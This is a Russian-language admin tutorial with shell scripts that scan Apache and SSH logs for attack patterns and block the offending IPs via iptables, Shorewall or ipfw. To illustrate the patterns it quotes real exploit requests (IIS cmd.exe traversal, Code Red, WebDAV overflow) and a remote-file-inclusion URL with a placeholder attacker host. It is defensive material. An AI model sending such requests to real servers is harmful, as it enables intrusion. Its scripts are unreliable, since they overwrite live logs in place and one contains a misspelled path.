Web-Server. Блокировка IP-adress'а по определённому признаку. |
|
|
|
Автор: Administrator
|
31.05.11 14:08 |
Web-Server. Блокировка IP-adress'а по определённому признаку. Этот скрипт позволяет Вам блокировать доступ на Ваш Web-Server нежелательных гостей, которые попытаются выполнить какие-то на Ваш взгляд нежелательные скрипты или изменить какие-то файлы на Вашем Web-Server'е. Назовём этот скрипт ip_block.sh и поместим его ... ну .. скажем в директорию /usr/local/sbin.... Скрипт ip_block.sh.
Цитата: |
#!/bin/sh ########## Параметры Web-Serverа' ##################################################### APACHE="/var/run/httpd2.pid" # Тест Apache Server'а LOG="/var/log/apache2/access_log" # Log-file Web-Server'а IP_WEB=192.168.67.90 # IP-adress Web-Server'а ################################################################################## if [ ! -f "$APACHE" ] ; then echo "Apache is unused" exit 1 ; fi ################### впишите сюда Ваш шаблон ########################################## for ARG in "SEARCH" "cmd.exe" "default.ida?" ################################################################################### do while [ ! -z "`cat $LOG | grep $ARG | cut -d " " -f 1`" ] do IP="`cat $LOG | grep $ARG | head -1 | cut -d " " -f 1`"
iptables -A INPUT -s $IP -d $IP_WEB -p tcp --dport 80 -j DROP iptables -A INPUT -s $IP -d $IP_WEB -p tcp --dport 443 -j DROP
sed -e "s/$ARG/XXXXXXXXXXX/g" $LOG > ip_tmp && cp ip_tmp $LOG; done done exit 0 |
1. Проанализируйте лог-файл ( /var/log/apache2/access_log) Вашего Web-Server'а и Вы найдёте много забавных строк, таких как например в ниже приведённых примерах:
Цитата: |
213.179.172.91 - - [01/Apr/2004:22:53:56 +0200] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1 \x02\xb1\x02\....etc etc.... |
Цитата: |
24.76.12.17 - - [20/Jun/2001:05:16:27 -0500] "GET /scripts/..%../winnt/system32/cmd.exe ?/c+copy+c:\winnt\system32\cmd.exe+c:\ inetpub\scripts\shell.exe" 404 - |
Цитата: |
196.41.163.238 - - [19/Jul/2001:08:56:04 -0700] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3 %u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3 |
... ну и т.д. 2. Из этих строк выберите шаблон (параметр), по которому скрипт, анализируя лог-файл Web-Server'а, будет блокировать соответствующие ip-adresse ( в этом примере это будут параметры "SEARCH" "cmd.exe" "default.ida?" ) и впишите их в скрипт в выделенную строку: ################################################################################# for ARG in "SEARCH" "cmd.exe" "default.ida?" "displaycategory" ################################################################################## Небольшой пример: Если на вашем Web-Server'е установлен модуль 4nalbum для nuke71 и кто-то попытается через него получить доступ на сервер: http://[victim]/nuke71/modules/4nalbum/public/displaycategory.php ?basepath=http://[attacker]/ то у него остаётся меньше одной минуты времени что бы что-либо предпринять до того как его ip-adress будет заблокирован.... Для этого нужно только внести в скрипт шаблон "displaycategory" и скрипт будет каждую минуту добросовестно проверять наличие этой записи в логах и при положительном результате заблокирует соответствующий ip-adress. Примечание:Шаблоны должны быть отделены друг от друга одним пустым знаком. Cм: man sed 3. Скорректируйте параметры Вашего Web-Server'а в начале скрипта... ################################################################################## APACHE="/var/run/httpd2.pid" # Тест Apache Server'а LOG="/var/log/apache2/access_log" # Log-file Web-Server'а IP_WEB=192.168.67.90 # IP-adress Web-Server'а ################################################################################## 4. Проверте работу скрипта приказом sh -x ip_block.sh :
Цитата: |
server:~ # sh -x web.sh + APACHE=/var/run/httpd2.pid + LOG=/var/log/apache2/access_log + IP_WEB=192.168.67.90 + '[' '!' -f /var/run/httpd2.pid ']' ++ cat /var/log/apache2/access_log ++ grep SEARCH ++ cut -d ' ' -f 1 + '[' '!' -z '213.179.172.911' ']' ++ cat /var/log/apache2/access_log ++ grep SEARCH ++ head -1 ++ cut -d ' ' -f 1 + IP=213.179.172.91 + iptables -A INPUT -s 213.179.172.91 -d 192.168.67.90 -p tcp --dport 80 -j DROP + iptables -A INPUT -s 213.179.172.91 -d 192.168.67.90 -p tcp --dport 443 -j DROP + sed -e s/SEARCH/XXXXXXXXX/g /var/log/apache2/access_log + cp ip_tmp /var/log/apache2/access_log ++ cat /var/log/apache2/access_log ++ grep SEARCH ++ cut -d ' ' -f 1 + '[' '!' -z '' ']' ++ cat /var/log/apache2/access_log ++ grep cmd.exe ++ cut -d ' ' -f 1 + '[' '!' -z 24.76.12.17 ']' ++ cat /var/log/apache2/access_log ++ head -1 ++ grep cmd.exe ++ cut -d ' ' -f 1 + IP=24.76.12.17 + iptables -A INPUT -s 24.76.12.17 -d 192.168.67.90 -p tcp --dport 80 -j DROP + iptables -A INPUT -s 24.76.12.17 -d 192.168.67.90 -p tcp --dport 443 -j DROP + sed -e s/cmd.exe/XXXXXXXXX/g /var/log/apache2/access_log + cp ip_tmp /var/log/apache2/access_log ++ cat /var/log/apache2/access_log ++ grep cmd.exe ++ cut -d ' ' -f 1 + '[' '!' -z '' ']' ++ cat /var/log/apache2/access_log ++ grep default.ida? ++ cut -d ' ' -f 1 + '[' '!' -z 196.41.163.238 ']' ++ cat /var/log/apache2/access_log ++ head -1 ++ grep default.ida? ++ cut -d ' ' -f 1 + IP=196.41.163.238 + iptables -A INPUT -s 196.41.163.238 -d 192.168.67.90 -p tcp --dport 80 -j DROP + iptables -A INPUT -s 196.41.163.238 -d 192.168.67.90 -p tcp --dport 443 -j DROP + sed -e s/default.ida?/XXXXXXXXX/g /var/log/apache2/access_log + cp ip_tmp /var/log/apache2/access_log ++ cat /var/log/apache2/access_log ++ grep displaycategory ++ cut -d ' ' -f 1 + '[' '!' -z 147.15.0.16 ']' ++ cat /var/log/apache2/access_log ++ grep displaycategory ++ head -1 ++ cut -d ' ' -f 1 + IP=147.15.0.16 + iptables -A INPUT -s 147.15.0.16 -d 192.168.67.90 -p tcp --dport 80 -j DROP + iptables -A INPUT -s 147.15.0.16 -d 192.168.67.90 -p tcp --dport 443 -j DROP + sed -e s/displaycategory/XXXXXXXXXXXX/g /var/log/apache2/access_log + cp ip_tmp /var/log/apache2/access_log ++ cat /var/log/apache2/access_log ++ grep displaycategory ++ cut -d ' ' -f 1 + '[' '!' -z '' ']'
+ exit 0 server:~ # |
5. Если нет сообщений об ошибках - проверим правила iptables, которые сгенерировал скрипт.
Цитата: |
server: # iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- 213.179.172.91 sever.linux.net tcp dpt:http DROP tcp -- 213.179.172.91 server.linux.net tcp dpt:https DROP tcp -- 24.76.12.17 sever.linux.net tcp dpt:http DROP tcp -- 24.76.12.17 server.linux.net tcp dpt:https DROP tcp -- 196.41.163.238 sever.linux.net tcp dpt:http DROP tcp -- 196.41.163.238 server.linux.net tcp dpt:https DROP tcp -- 147.15.0.16 sever.linux.net tcp dpt:http DROP tcp -- 147.15.0.16 server.linux.net tcp dpt:https
Chain FORWARD (policy ACCEPT) target prot opt source destination
Chain OUTPUT (policy ACCEPT) target prot opt source destination server: # |
Как видим четыре ip-adress'a заблокированы. Эти правила можно в любой момент сбросить приказом iptables -F 6. Ну осталось только записать скрипт в crontab, чтобы он проиерял лог-файлы каждую минуту и если он найдёт заданный Вами параметр , то соответствующий IP будет блокирован.....
Цитата: |
-*/1 * * * * root sh -x /usr/local/sbin/ip_block.sh >/dev/null 2>&1 |
Часть II. SSH. Блокировка IP-adress'а по определённому признаку. В перовой части я коротко объяснил работу скрипта для Веб-сервера, но скрипт ssh_block.sh работает по тому же принципу - анализ лог-файлов. В линуксе, в файле /var/log/messages ведётся запись входов в систему по ssh-протоколу. Приведу два примера... Для попытки зайти с консоли по ssh был введён неправильный пароль:
Цитата: |
Oct 8 15:39:55 router sshd[17744]: Failed keyboard-interactive/pam for root from ::ffff:12.202.228.14 port 36966 ssh2 Oct 8 15:39:55 router sshd[17744]: Connection closed by ::ffff:212.202.228.14 |
Лог от сканирования Nessus'ом:
Цитата: |
Oct 8 10:33:03 router sshd[4333]: Did not receive identification string from ::ffff:12.202.228.14 Oct 8 10:33:13 router sshd[4358]: Did not receive identification string from ::ffff:212.202.28.14 Oct 8 10:33:23 router sshd[4359]: Did not receive identification string from ::ffff:212.202.28.14 |
Заносим в скрипт эти слова "Failed" и "Did". Очень важная строка в скрипте:
Цитата: |
echo "$IP" >> $BLACKLIST |
Этой командой выделенный IP заносится в "BLACKLIST" моего файервола. ( В качестве файервола я использую Shorewall..... После того как IP занесены в "/etc/shorewall/blacklist" - делается restart shorewall и IP заблокированы. ) Если Вы пользуетесь другим файерволом - замените эту строку например на такую:
Цитата: |
DEV="ppp0" iptables -I INPUT -i $DEV -s $IP -j DROP |
.... или придумайте что-то другое... Скрипт ssh_block.sh
Цитата: |
#!/bin/sh # LOG="/var/lig/messasges" # Log-file Server'a BLACKLIST="/etc/shorewall/blacklist" # for ARG in "Failed" "Did" do while [ ! -z "`cat $LOG | grep $ARG | cut -d : -f 7 |cut -d " " -f 1`" ] do IP="`cat $LOG | grep $ARG | cut -d : -f 7 |cut -d " " -f 1`" echo "$IP" >> $BLACKLIST sed -e "s/$ARG/XXXXXXXXX/g" $LOG > ip_tmp && cp ip_tmp $LOG ; touch flag; done done # if [ -f flag ]; then shorewall restart rm -f flag; fi
|
cp ssh_block.sh /usr/local/sbin chmod 755 /usr/local/sbin/ssh_block.sh /etc/crontab:
Цитата: |
-*/1 * * * * root /usr/local/sbin/ssh_block.sh >/dev/null 2>&1 |
Очень помогает от сопливых хацкеров... PC: Держать блокировку долго не имеет смысла т.к. при повторной попытке скрипт заблокирует IP опять.... да и IP в основном динамические... У разных дистрибутивов записи в логфайлах могут отличатся по форме... Для таких логов (FreeBSD) :
Цитата: |
Oct 16 20:10:10 legacy sshd[59955]: Did not receive identification string from 211.156.128.23 Oct 16 20:19:43 legacy sshd[59961]: Illegal user patrick from 211.156.128.23 Oct 16 20:20:34 legacy sshd[59985]: Illegal user horde from 211.156.128.23 Oct 16 20:20:38 legacy sshd[59987]: Illegal user cyrus from 211.156.128.23 Oct 17 01:29:25 legacy sshd[60366]: Illegal user test from 218.237.4.57 Oct 17 01:29:28 legacy sshd[60368]: Illegal user guest from 218.237.4.57 Oct 17 01:29:32 legacy sshd[60370]: Illegal user admin from 218.237.4.57 Oct 17 23:29:11 legacy sshd[64098]: Did not receive identification string from 147.46.76.225 Oct 17 23:37:18 legacy sshd[64139]: Illegal user patrick from 147.46.76.225 Oct 17 23:37:22 legacy sshd[64141]: Illegal user patrick from 147.46.76.225 Oct 17 23:39:35 legacy sshd[64151]: fatal: Timeout before authentication for 147.46.76.225 Oct 18 00:09:42 legacy sshd[64320]: Illegal user test from 211.174.181.158 Oct 18 00:09:45 legacy sshd[64322]: Illegal user guest from 211.174.181.158 Oct 18 00:10:18 legacy sshd[64330]: Illegal user test from 211.34.197.3 Oct 18 00:10:22 legacy sshd[64332]: Illegal user guest from 211.34.197.3 Oct 18 00:10:44 legacy sshd[64347]: Illegal user test from 211.34.197.3 |
Можно применить в скрипте такую команду:
Цитата: |
freebsd:~ # cat /var/log/auth.log | grep Illegal | cut -d " " -f 10 211.156.128.23 211.156.128.23 211.156.128.23 211.156.128.23 218.237.4.57 218.237.4.57 218.237.4.57 147.46.76.225 147.46.76.225 211.174.181.158 211.174.181.158 211.34.197.3 211.34.197.3 211.34.197.3 freebsd:~ # |
.. и скрипт должен выглядеть примерно так: ( Правила для фаервола даны как пример - запишите туда свои правила!!!! )
Цитата: |
#!/bin/sh # LOG="/var/log/auth.log" # Log-file Server'a EXT_IF="xl0" IPFW="/sbin/ipfw" # for ARG in "Illegal" do while [ ! -z "`cat $LOG | grep $ARG | cut -d " " -f 10`" ] do IP="`cat $LOG | grep $ARG | cut -d " " -f 10`" echo "$IP" >> blacklist while [ ! -z "`head -n1 blacklist`" ] do IP_BLACK="`head -n1 blacklist`" echo "$IPFW add deny all from" $IP_BLACK "to any in recv" $EXT_IF >> black_firewall_tmp
###################### правила фаервола /etc/rc.firewall ################################## # Здесь нужно записать свои правила для фаервола
### -----> begin echo "#!/bin/sh" > black_firewall # !!! > 1 один раз!!! echo "echo "Start firewall---"" >> black_firewall echo "IPFW="/sbin/ipfw"" >> black_firewall echo "INT_IF="em0"" >> black_firewall echo "EXT_IF="xl0"" >> black_firewall echo "$IPFW add allow all from any to any via lo0" >> black_firewall echo "$IPFW add deny all from any to 127.0.0.0/8 " >> black_firewall echo "$IPFW add deny all from 127.0.0.0/8 to any in recv $EXT_IF" >> black_firewall echo "$IPFW add deny all from 10.0.0.0/8 to any in recv $EXT_IF " >> black_firewall echo "$IPFW add deny all from 172.16.0.0/16 to any in recv $EXT_IF" >> black_firewall echo "$IPFW add deny all from 192.168.0.0/24 to any in recv $EXT_IF" >> black_firewall cat black_firewall_tmp >> black_firewall echo "$IPFW add deny all from any to any" >> black_firewall echo "echo "DONE"" >> black_firewall ###------> end #############################################################################
chmod 755 black_firewall cp black_firewall /etc/rc.firewall sed -e "1d" blacklist > blacklist_tmp && cp blacklist_tmp blacklist done sed -e "s/$ARG/XXXXXXXXX/g" $LOG > black_ip_tmp && cp black_ip_tmp $LOG ; touch flag; done done # if [ -f flag ]; then /bin/sh /etc/rc.firewall rm -f flag; rm -f black*; # fi
|
и так далее... Импровизируйте....
оригинал: gennadi.dyn.ee
|
ссылка на статью: http://thin.kiev.ua/index.php?option=com_content&view=article&id=387:web-server-ip-adress-&catid=39:linux&Itemid=63
{jcomments on}
|
Последнее обновление 31.05.11 14:23 |